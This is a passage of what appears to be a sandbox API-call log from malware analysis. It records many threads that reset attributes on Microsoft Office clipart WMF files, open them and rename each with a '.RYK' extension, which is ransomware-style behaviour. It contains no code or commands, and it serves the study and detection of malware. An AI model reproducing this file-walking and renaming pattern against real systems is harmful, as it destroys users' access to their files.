	[0254.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.209] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3369
	os_tid = 0x3a84

	[0254.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF", dwFileAttributes=0x80) returned 0
	[0254.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.208] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3370
	os_tid = 0x3a88

	[0254.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF", dwFileAttributes=0x80) returned 0
	[0254.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.207] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3371
	os_tid = 0x3a8c

	[0254.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF", dwFileAttributes=0x80) returned 0
	[0254.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.205] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3372
	os_tid = 0x3a90

	[0254.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF", dwFileAttributes=0x80) returned 0
	[0254.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.204] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3373
	os_tid = 0x3a94

	[0254.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF", dwFileAttributes=0x80) returned 0
	[0254.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.203] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3374
	os_tid = 0x3a98

	[0254.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF", dwFileAttributes=0x80) returned 0
	[0254.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.202] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3375
	os_tid = 0x3a9c

	[0254.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF", dwFileAttributes=0x80) returned 0
	[0254.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.200] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3376
	os_tid = 0x3aa0

	[0254.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF", dwFileAttributes=0x80) returned 0
	[0254.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.199] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3383
	os_tid = 0x3aa4

	[0254.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF", dwFileAttributes=0x80) returned 0
	[0255.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3384
	os_tid = 0x3aa8

	[0254.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF", dwFileAttributes=0x80) returned 0
	[0255.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3385
	os_tid = 0x3aac

	[0254.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF", dwFileAttributes=0x80) returned 0
	[0255.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.606] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3386
	os_tid = 0x3ab0

	[0254.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", dwFileAttributes=0x80) returned 0
	[0255.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.607] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3387
	os_tid = 0x3ab4

	[0254.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF", dwFileAttributes=0x80) returned 0
	[0255.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.608] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3388
	os_tid = 0x3ab8

	[0254.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF", dwFileAttributes=0x80) returned 0
	[0255.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3389
	os_tid = 0x3abc

	[0254.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF", dwFileAttributes=0x80) returned 0
	[0255.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.610] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3390
	os_tid = 0x3ac0

	[0254.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF", dwFileAttributes=0x80) returned 0
	[0255.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.611] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3391
	os_tid = 0x3ac4

	[0254.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF", dwFileAttributes=0x80) returned 0
	[0255.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3392
	os_tid = 0x3ac8

	[0254.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF", dwFileAttributes=0x80) returned 0
	[0255.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.613] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3393
	os_tid = 0x3acc

	[0254.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF", dwFileAttributes=0x80) returned 0
	[0255.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3394
	os_tid = 0x3ad0

	[0254.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF", dwFileAttributes=0x80) returned 0
	[0255.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3395
	os_tid = 0x3ad4

	[0254.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF", dwFileAttributes=0x80) returned 0
	[0255.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.629] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3396
	os_tid = 0x3ad8

	[0254.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF", dwFileAttributes=0x80) returned 0
	[0255.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3397
	os_tid = 0x3adc

	[0255.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF", dwFileAttributes=0x80) returned 0
	[0255.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3399
	os_tid = 0x3ae8

	[0255.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF", dwFileAttributes=0x80) returned 0
	[0255.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3400
	os_tid = 0x3aec

	[0255.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF", dwFileAttributes=0x80) returned 0
	[0255.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
